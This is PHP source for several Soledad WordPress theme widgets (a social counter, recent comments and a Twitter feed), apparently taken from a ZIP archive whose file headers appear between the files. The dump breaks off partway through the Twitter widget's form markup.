						<label for="<?php echo esc_attr( $this->get_field_id( 'tab_column' ) ); ?>">Select Columns for
							Tablet:</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'tab_column' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'tab_column' ) ); ?>">
							<option value="" <?php selected( $tab_column, '' ); ?>><?php echo esc_html__( 'Default', 'soledad' ); ?></option>
							<option value="1" <?php selected( $tab_column, '1' ); ?>><?php echo esc_html__( '1 Column', 'soledad' ); ?></option>
							<option value="2" <?php selected( $tab_column, '2' ); ?>><?php echo esc_html__( '2 Columns', 'soledad' ); ?></option>
							<option value="3" <?php selected( $tab_column, '3' ); ?>><?php echo esc_html__( '3 Columns', 'soledad' ); ?></option>
							<option value="4" <?php selected( $tab_column, '4' ); ?>><?php echo esc_html__( '4 Columns', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'mobile_column' ) ); ?>">Select Columns
							for
							Mobile</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'mobile_column' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'mobile_column' ) ); ?>">
							<option value="" <?php selected( $mobile_column, '' ); ?>><?php echo esc_html__( 'Default', 'soledad' ); ?></option>
							<option value="1" <?php selected( $mobile_column, '1' ); ?>><?php echo esc_html__( '1 Column', 'soledad' ); ?></option>
							<option value="2" <?php selected( $mobile_column, '2' ); ?>><?php echo esc_html__( '2 Columns', 'soledad' ); ?></option>
							<option value="3" <?php selected( $mobile_column, '3' ); ?>><?php echo esc_html__( '3 Columns', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'use_shadow' ) ); ?>">Use Shadow?</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'use_shadow' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'use_shadow' ) ); ?>">
							<option value="no" <?php selected( $use_shadow, 'no' ); ?>><?php echo esc_html__( 'No', 'soledad' ); ?></option>
							<option value="yes" <?php selected( $use_shadow, 'yes' ); ?>><?php echo esc_html__( 'Yes', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'hide_count' ) ); ?>">Hide Counter Data &
							Show Social Name?</label>
						<select class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'hide_count' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'hide_count' ) ); ?>">
							<option value="no" <?php selected( $hide_count, 'no' ); ?>><?php echo esc_html__( 'No', 'soledad' ); ?></option>
							<option value="yes" <?php selected( $hide_count, 'yes' ); ?>><?php echo esc_html__( 'Yes', 'soledad' ); ?></option>
						</select>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'hospace' ) ); ?>">Horizontal Spacing
							Between Social Icons</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'hospace' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'hospace' ) ); ?>"
								value="<?php echo $hospace; ?>">
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'verspace' ) ); ?>">Vertical Spacing
							Between Social Icons</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'verspace' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'verspace' ) ); ?>"
								value="<?php echo $verspace; ?>">
					</p>
				</div>
				<div id="pc_profile_social" class="data-source-settings counter penci-social-tab">
					<?php
					$custom_social_icons = get_option( 'penci_custom_socials', array() );
					foreach ( $social_lists as $social => $social_info ) {
						$checked = isset( $instance[ $social ] ) ? (bool) $instance[ $social ] : false;
						$name    = $social_info['label'];
						$name    = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
						?>

						<p>
							<input class="checkbox" id="<?php echo esc_attr( $this->get_field_id( $social ) ); ?>"
									name="<?php echo esc_attr( $this->get_field_name( $social ) ); ?>"
									type="checkbox" <?php checked( $checked ); ?> />
							<label for="<?php echo esc_attr( $this->get_field_id( $social ) ); ?>"><?php echo esc_attr( $name ); ?></label>
						</p>

						<?php

					}
					?>
				</div>
				<div class="social-flex penci-social-tab data-source-settings customizer">
					<?php
					$custom_social_icons = get_option( 'penci_custom_socials', array() );
					$socials_profile     = penci_social_media_array();
					foreach ( $socials_profile as $name => $data ) {
						$settings_name = 'profile_' . $name;
						$checked       = isset( $instance[ $settings_name ] ) ? (bool) $instance[ $settings_name ] : false;
						$name          = isset( $custom_social_icons[ $name ]['name'] ) ? $custom_social_icons[ $name ]['name'] : $name;
						?>
						<p>
							<label for="<?php echo esc_attr( $this->get_field_id( $settings_name ) ); ?>"><?php esc_html_e( 'Show ' . ucwords( $name ) . ':', 'soledad' ); ?></label>
							<input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( $settings_name ) ); ?>"
									name="<?php echo esc_attr( $this->get_field_name( $settings_name ) ); ?>" <?php checked( $checked ); ?> />
						</p>
					<?php } ?>
				</div>
				<div id="pc_color_social" class="penci-social-tab">

					<p class="widget-title-settings">
						<label for="<?php echo $this->get_field_id( 'counter_item_icon_size' ); ?>"
								style="display:block;"><?php _e( 'Icon Size: (Number only)' ); ?></label>
						<input class="widefat" id="<?php echo $this->get_field_id( 'counter_item_icon_size' ); ?>"
								name="<?php echo $this->get_field_name( 'counter_item_icon_size' ); ?>" type="number"
								value="<?php echo $counter_item_icon_size; ?>"/>
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'countersize' ) ); ?>">Font Size for
							Counter Number</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'countersize' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'countersize' ) ); ?>"
								value="<?php echo $countersize; ?>">
					</p>
					<p>
						<label for="<?php echo esc_attr( $this->get_field_id( 'fansize' ) ); ?>">Font Size for Fans/Like
							text</label>
						<input type="number" class="widefat"
								id="<?php echo esc_attr( $this->get_field_id( 'fansize' ) ); ?>"
								name="<?php echo esc_attr( $this->get_field_name( 'fansize' ) ); ?>"
								value="<?php echo $fansize; ?>">
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'bgcl' ); ?>"
								style="display:block;"><?php _e( 'Background Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'bgcl' ); ?>"
								name="<?php echo $this->get_field_name( 'bgcl' ); ?>" type="text"
								value="<?php echo $bgcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'hbgcl' ); ?>"
								style="display:block;"><?php _e( 'Background Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'hbgcl' ); ?>"
								name="<?php echo $this->get_field_name( 'hbgcl' ); ?>" type="text"
								value="<?php echo $hbgcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'bordercl' ); ?>"
								style="display:block;"><?php _e( 'Border Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'bordercl' ); ?>"
								name="<?php echo $this->get_field_name( 'bordercl' ); ?>" type="text"
								value="<?php echo $bordercl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'borderhcl' ); ?>"
								style="display:block;"><?php _e( 'Border Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'bordercl' ); ?>"
								name="<?php echo $this->get_field_name( 'borderhcl' ); ?>" type="text"
								value="<?php echo $borderhcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'textcl' ); ?>"
								style="display:block;"><?php _e( 'Icon Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'textcl' ); ?>"
								name="<?php echo $this->get_field_name( 'textcl' ); ?>" type="text"
								value="<?php echo $textcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'texthcl' ); ?>"
								style="display:block;"><?php _e( 'Icon Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'texthcl' ); ?>"
								name="<?php echo $this->get_field_name( 'texthcl' ); ?>" type="text"
								value="<?php echo $texthcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'countcl' ); ?>"
								style="display:block;"><?php _e( 'Counter Text Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'countcl' ); ?>"
								name="<?php echo $this->get_field_name( 'countcl' ); ?>" type="text"
								value="<?php echo $countcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'counthcl' ); ?>"
								style="display:block;"><?php _e( 'Counter Text Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'counthcl' ); ?>"
								name="<?php echo $this->get_field_name( 'counthcl' ); ?>" type="text"
								value="<?php echo $counthcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'fanscl' ); ?>"
								style="display:block;"><?php _e( 'Fans Text Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'fanscl' ); ?>"
								name="<?php echo $this->get_field_name( 'fanscl' ); ?>" type="text"
								value="<?php echo $fanscl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'fanshcl' ); ?>"
								style="display:block;"><?php _e( 'Fans Text Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'fanshcl' ); ?>"
								name="<?php echo $this->get_field_name( 'fanshcl' ); ?>" type="text"
								value="<?php echo $fanshcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'followcl' ); ?>"
								style="display:block;"><?php _e( 'Follow Text Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'followcl' ); ?>"
								name="<?php echo $this->get_field_name( 'followcl' ); ?>" type="text"
								value="<?php echo $followcl; ?>"/>
					</p>
					<p>
						<label for="<?php echo $this->get_field_id( 'followhcl' ); ?>"
								style="display:block;"><?php _e( 'Follow Text Hover Color:' ); ?></label>
						<input class="widefat pcwoo-color-picker color-picker"
								id="<?php echo $this->get_field_id( 'followhcl' ); ?>"
								name="<?php echo $this->get_field_name( 'followhcl' ); ?>" type="text"
								value="<?php echo $followhcl; ?>"/>
					</p>

				</div>
			</div>
		</div>
		<?php
	}

	/**
	 * Outputs the social array listing
	 */
	public function social_lists() {
		return array(
			'facebook'   => array(
				'label'   => __( 'Facebook', 'soledad' ),
				'default' => 'yes',
			),
			'twitter'    => array(
				'label'   => __( 'Twitter', 'soledad' ),
				'default' => 'yes',
			),
			'youtube'    => array(
				'label'   => __( 'Youtube', 'soledad' ),
				'default' => 'yes',
			),
			'instagram'  => array(
				'label'   => __( 'Instagram', 'soledad' ),
				'default' => 'yes',
			),
			'pinterest'  => array(
				'label'   => __( 'Pinterest', 'soledad' ),
				'default' => '',
			),
			'flickr'     => array(
				'label'   => __( 'Flickr', 'soledad' ),
				'default' => '',
			),
			'vimeo'      => array(
				'label'   => __( 'Vimeo', 'soledad' ),
				'default' => '',
			),
			'soundcloud' => array(
				'label'   => __( 'SoundCloud', 'soledad' ),
				'default' => '',
			),
			'behance '   => array(
				'label'   => __( 'Behance', 'soledad' ),
				'default' => '',
			),
			'vk'         => array(
				'label'   => __( 'VK', 'soledad' ),
				'default' => '',
			),
			'tiktok'     => array(
				'label'   => __( 'Tiktok', 'soledad' ),
				'default' => '',
			),
			'twitch'     => array(
				'label'   => __( 'Twitch', 'soledad' ),
				'default' => '',
			),
			'rss'        => array(
				'label'   => __( 'RSS', 'soledad' ),
				'default' => '',
			),
		);
	}

	/**
	 * Processing widget options on save
	 *
	 * @param array $new_instance The new options
	 * @param array $old_instance The previous options
	 *
	 * @return array
	 */
	public function update( $new_instance, $old_instance ) {
		$instance                           = $old_instance;
		$instance['title']                  = ( ! empty( $new_instance['title'] ) ) ? sanitize_text_field( $new_instance['title'] ) : '';
		$instance['style']                  = ( ! empty( $new_instance['style'] ) ) ? sanitize_text_field( $new_instance['style'] ) : 's1';
		$instance['columns']                = ( ! empty( $new_instance['columns'] ) ) ? sanitize_text_field( $new_instance['columns'] ) : '1';
		$instance['fill']                   = ! empty( $new_instance['fill'] ) ? $new_instance['fill'] : 'fill';
		$instance['shape']                  = ! empty( $new_instance['shape'] ) ? $new_instance['shape'] : 'rectangle';
		$instance['tab_column']             = ! empty( $new_instance['tab_column'] ) ? $new_instance['tab_column'] : '1';
		$instance['mobile_column']          = ! empty( $new_instance['mobile_column'] ) ? $new_instance['mobile_column'] : '1';
		$instance['color_style']            = ! empty( $new_instance['color_style'] ) ? $new_instance['color_style'] : 'custom';
		$instance['hide_count']             = ! empty( $new_instance['hide_count'] ) ? $new_instance['hide_count'] : '';
		$instance['counter_item_icon_size'] = ! empty( $new_instance['counter_item_icon_size'] ) ? $new_instance['counter_item_icon_size'] : '';
		$instance['bgcl']                   = ! empty( $new_instance['bgcl'] ) ? $new_instance['bgcl'] : '';
		$instance['hbgcl']                  = ! empty( $new_instance['hbgcl'] ) ? $new_instance['hbgcl'] : '';
		$instance['bordercl']               = ! empty( $new_instance['hbgcl'] ) ? $new_instance['bordercl'] : '';
		$instance['borderhcl']              = ! empty( $new_instance['borderhcl'] ) ? $new_instance['borderhcl'] : '';
		$instance['textcl']                 = ! empty( $new_instance['textcl'] ) ? $new_instance['textcl'] : '';
		$instance['texthcl']                = ! empty( $new_instance['texthcl'] ) ? $new_instance['texthcl'] : '';
		$instance['countcl']                = ! empty( $new_instance['countcl'] ) ? $new_instance['countcl'] : '';
		$instance['counthcl']               = ! empty( $new_instance['counthcl'] ) ? $new_instance['counthcl'] : '';
		$instance['fanscl']                 = ! empty( $new_instance['fanscl'] ) ? $new_instance['fanscl'] : '';
		$instance['fanshcl']                = ! empty( $new_instance['fanshcl'] ) ? $new_instance['fanshcl'] : '';
		$instance['followcl']               = ! empty( $new_instance['followcl'] ) ? $new_instance['followcl'] : '';
		$instance['followhcl']              = ! empty( $new_instance['followhcl'] ) ? $new_instance['followhcl'] : '';
		$instance['hospace']                = ! empty( $new_instance['hospace'] ) ? $new_instance['hospace'] : '';
		$instance['verspace']               = ! empty( $new_instance['verspace'] ) ? $new_instance['verspace'] : '';
		$instance['use_shadow']             = ! empty( $new_instance['use_shadow'] ) ? $new_instance['use_shadow'] : '';
		$instance['countersize']            = ! empty( $new_instance['countersize'] ) ? $new_instance['countersize'] : '';
		$instance['fansize']                = ! empty( $new_instance['fansize'] ) ? $new_instance['fansize'] : '';
		$instance['source']                 = ! empty( $new_instance['source'] ) ? $new_instance['source'] : 'counter';

		foreach ( $this->social_lists() as $social => $social_info ) {
			$instance[ $social ] = ( ! empty( $new_instance[ $social ] ) ) ? 1 : 0;
		}

		$socials_profile = penci_social_media_array();
		foreach ( $socials_profile as $name => $data ) {
			$instance[ 'profile_' . $name ] = ( ! empty( $new_instance[ 'profile_' . $name ] ) ) ? 1 : 0;
		}

		return $instance;
	}

	public function enqueue_scripts( $hook_suffix ) {
		if ( 'widgets.php' !== $hook_suffix ) {
			return;
		}

		wp_enqueue_style( 'wp-color-picker' );
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_script( 'underscore' );
	}


	public function print_scripts() {
		?>
		<script>
			(function ($) {
				function initColorPicker(widget) {
					widget.find('.color-picker').wpColorPicker({
						change: _.throttle(function () { // For Customizer
							$(this).trigger('change');
						}, 3000)
					});
				}

				function onFormUpdate(event, widget) {
					initColorPicker(widget);
				}

				$(document).on('widget-added widget-updated', onFormUpdate);

				$(document).ready(function () {
					$('#widgets-right .widget:has(.color-picker)').each(function () {
						initColorPicker($(this));
					});
				});
			}(jQuery));
		</script>
		<?php
	}
}

// register widget
function penci_register_social_counter_widget() {
	register_widget( 'Soledad_Social_Counter' );
}

add_action( 'widgets_init', 'penci_register_social_counter_widget' );
PK     N\RQ      inc/widgets/comments.phpnu [        <?php

add_action( 'widgets_init', 'penci_comments_load_widget' );

function penci_comments_load_widget() {
	register_widget( 'penci_comments_widget' );
}

if ( ! class_exists( 'penci_comments_widget' ) ) {
	class penci_comments_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_comments_widget',
				'description' => esc_html__( 'A widget that displays the recent comments with avatar.', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_comments_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_comments_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Comments', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_comments_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Comments', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$length      = isset( $instance['length'] ) ? $instance['length'] : 12;
			$avatar_size = isset( $instance['avatar_size'] ) ? $instance['avatar_size'] : 70;

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}

			echo '<ul>';

			$comments = get_comments( 'status=approve&number=' . $instance['number'] );

			foreach ( $comments as $comment ) { ?>
                <li>
					<?php

					$no_thumb = 'no-small-thumbs';

					// Show the avatar if it is active only
					if ( get_option( 'show_avatars' ) ) {
						if ( isset( $comment->comment_author_email ) && $comment->comment_author_email ) {
							$usergravatar = 'http://www.gravatar.com/avatar/' . md5( $comment->comment_author_email ) . '?s=' . $instance['avatar_size'];
						} else {
							$usergravatar = get_avatar_url( $comment->user_id );
						}
						$no_thumb = ''; ?>
                        <div class="post-widget-thumbnail"
                             style="flex: 0 0 <?php echo esc_attr( $avatar_size ) ?>px">
                            <a class="author-avatar"
                               href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
                                <img src="<?php echo esc_url( $usergravatar ); ?>"
                                     alt="<?php echo esc_url( $comment->comment_author ); ?>">
                            </a>
                        </div>
						<?php
					}

					?>

                    <div class="comment-body <?php echo esc_attr( $no_thumb ) ?>">
                        <a class="comment-author"
                           href="<?php echo get_permalink( $comment->comment_post_ID ); ?>#comment-<?php echo esc_attr( $comment->comment_ID ); ?>">
							<?php echo strip_tags( $comment->comment_author ); ?>
                        </a>
                        <p><?php
							$comment_content = wp_strip_all_tags( $comment->comment_content );
							echo wp_trim_words( $comment_content, $length ); ?></p>
                    </div>

                </li>
				<?php
			}

			echo '</ul>';

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}


		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Recent Comments', 'soledad' ),
				'number'      => 5,
				'avatar_size' => 70,
				'length'      => 12,
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';

			?>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $instance_title ) ?>" class="widefat" type="text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of comments to show:', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ) ?>" type="number"
                       class="tiny-text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'length' ) ); ?>"><?php esc_html_e( 'Custom Comment Content Words Length:', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['length'] ) ?>" type="number"
                       class="tiny-text"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"><?php esc_html_e( 'Avatar size (px)', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'avatar_size' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar_size' ) ); ?>"
                       value="<?php echo esc_attr( $instance['avatar_size'] ); ?>" class="widefat" type="number"
                       placeholder=""/>
            </p>
			<?php

		}
	}
}
PK     N\JjkY4  4    inc/widgets/latest_tweets.phpnu [        <?php
/**
 * Latest tweets slider widget
 * Display recent post or popular post for each category or all posts
 *
 * @package Wordpress
 * @since 1.2
 */

add_action( 'widgets_init', 'penci_latest_tweets_load_widget' );

function penci_latest_tweets_load_widget() {
	register_widget( 'penci_latest_tweets_widget' );
}

if ( ! class_exists( 'penci_latest_tweets_widget' ) ) {
	class penci_latest_tweets_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_latest_tweets_widget',
				'description' => esc_html__( 'A widget that displays your latest tweets with a slider', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_latest_tweets_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_latest_tweets_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Twitter Feed', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_latest_tweets_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Twitter Feed', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$date     = isset( $instance['date'] ) ? $instance['date'] : false;
			$auto     = isset( $instance['auto'] ) ? $instance['auto'] : false;
			$reply    = isset( $instance['reply'] ) ? $instance['reply'] : esc_html__( 'Reply', 'soledad' );
			$retweet  = isset( $instance['retweet'] ) ? $instance['retweet'] : esc_html__( 'Retweet', 'soledad' );
			$favorite = isset( $instance['favorite'] ) ? $instance['favorite'] : esc_html__( 'Favorite', 'soledad' );
			$align    = isset( $instance['align'] ) ? $instance['align'] : '';
			$style    = isset( $instance['style'] ) ? $instance['style'] : 'slider';
			$number   = isset( $instance['number'] ) ? $instance['number'] : 5;
			$classes  = 'slider' == $style ? 'swiper penci-owl-carousel penci-owl-carousel-slider penci-tweets-slider' : 'penci-tweets-lists';
			if ( function_exists( 'penci_getTweets' ) ) {
				$tweets = penci_getTweets( $number );

				if ( ! empty( $tweets ) ):

					/* Before widget (defined by themes). */ echo ent2ncr( $before_widget );

					/* Display the widget title if one was input (before and after defined by themes). */
					if ( $title ) {
						echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
					}

					if ( isset( $tweets['error'] ) ) {
						echo 'Missing consumer key - please check your settings in admin > Settings > Twitter Feed Auth';
					} else {
						$df_align = is_rtl() ? 'right' : 'left';
						?>
                        <div class="penci-tweets-widget-content<?php echo $style == 'slider' ? ' ' . $align : ' pc_align' . $df_align; ?>">
							<?php if ( $style == 'slider' ): ?>
                                <span class="icon-tweets"><?php penci_fawesome_icon( 'penciicon-x-twitter' ); ?></span>
							<?php endif; ?>
                            <div class="<?php echo esc_attr( $classes ); ?>" data-dots="true"
                                 data-nav="false" data-auto="<?php if ( $auto ) {
								echo 'false';
							} else {
								echo 'true';
							} ?>">
								<?php foreach ( $tweets as $tweet ):
									$date_array = explode( ' ', $tweet['created_at'] );
									$tweet_id = $tweet['id_str'];
									$tweet_text = $tweet['text'];
									$urls = $tweet['entities']['urls'];
									$user_id = $tweet['user']['id'];
									if ( isset( $urls ) ) {
										foreach ( $urls as $ul ) {
											$url = $ul['url'];
											if ( isset( $url ) ):
												$tweet_text = str_replace( $url, '<a href="' . $url . '" rel="noopener" target="_blank">' . $url . '</a>', $tweet_text );
											endif;
										}
									}
									?>
                                    <div class="penci-tweet">

										<?php if ( $style == 'list' ):
											$reply = '<i class="fa fa-reply" aria-hidden="true"></i>';
											$retweet = '<i class="fa fa-retweet" aria-hidden="true"></i>';
											$favorite = '<i class="fa fa-thumbs-up" aria-hidden="true"></i>';
											?>

                                            <div class="tweet-list-top">

												<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! $date ): ?>
                                                    <span class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></span>
												<?php endif; ?>

                                            </div>

										<?php endif; ?>

                                        <div class="tweet-text">
											<?php echo $tweet_text; ?>
                                        </div>

										<?php if ( $style == 'slider' ): ?>

											<?php if ( $date_array[1] && $date_array[2] && $date_array[5] && ! $date ): ?>
                                                <p class="tweet-date"><?php echo $date_array[2] . '-' . $date_array[1] . '-' . $date_array[5]; ?></p>
											<?php endif; ?>
										<?php endif; ?>
                                        <div class="tweet-intents">
                                            <div class="tweet-intents-inner">
                                            <span><a target="_blank" rel="noopener" class="reply"
                                                     href="https://x.com/intent/tweet?in_reply_to=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $reply ); ?></a></span>
                                                <span><a target="_blank" rel="noopener" class="retweet"
                                                         href="https://x.com/intent/retweet?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $retweet ); ?></a></span>
                                                <span><a target="_blank" rel="noopener" class="favorite"
                                                         href="https://x.com/intent/favorite?tweet_id=<?php echo sanitize_text_field( $tweet_id ); ?>"><?php echo do_shortcode( $favorite ); ?></a></span>
                                            </div>
                                        </div>


                                    </div>
								<?php endforeach; ?>
                            </div>
                        </div>

						<?php
					}
				endif; /* End check if array $tweets empty or null */


				/* After widget (defined by themes). */
				echo ent2ncr( $after_widget );
			} else {
				_e( 'Please install the "Penci Social Feed" plugin via Apperance > Install Plugins to get this widget working.', 'soledad' );
			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'    => esc_html__( 'Tweets', 'soledad' ),
				'date'     => false,
				'auto'     => false,
				'reply'    => esc_html__( 'Reply', 'soledad' ),
				'retweet'  => esc_html__( 'Retweet', 'soledad' ),
				'favorite' => esc_html__( 'Favorite', 'soledad' ),
				'align'    => '',
				'number'   => 5,
				'style'    => 'slider'
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <br>
            <p><span style="color: #ff0000;">Note Important:</span> To use this widget you need to connect your
                twitter account <a
                        href="<?php echo admin_url( 'admin.php?page=penci_twitter_token' ); ?>" target="_blank">here</a>.
            </p>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!-- Style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>">Layout:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='slider' <?php selected( $instance['style'], 'slider' ); ?>>Slider
                    </option>
                    <option value='list' <?php selected( $instance['style'], 'list' ); ?>>List
                    </option>
                </select>
            </p>

            <!-- Align -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>">Align This Widget ( for Slider
                    Layout ):</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'align' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'align' ) ); ?>" class="widefat categories"
                        style="width:100%;">
                    <option value='pc_aligncenter'>Align Center
                    </option>
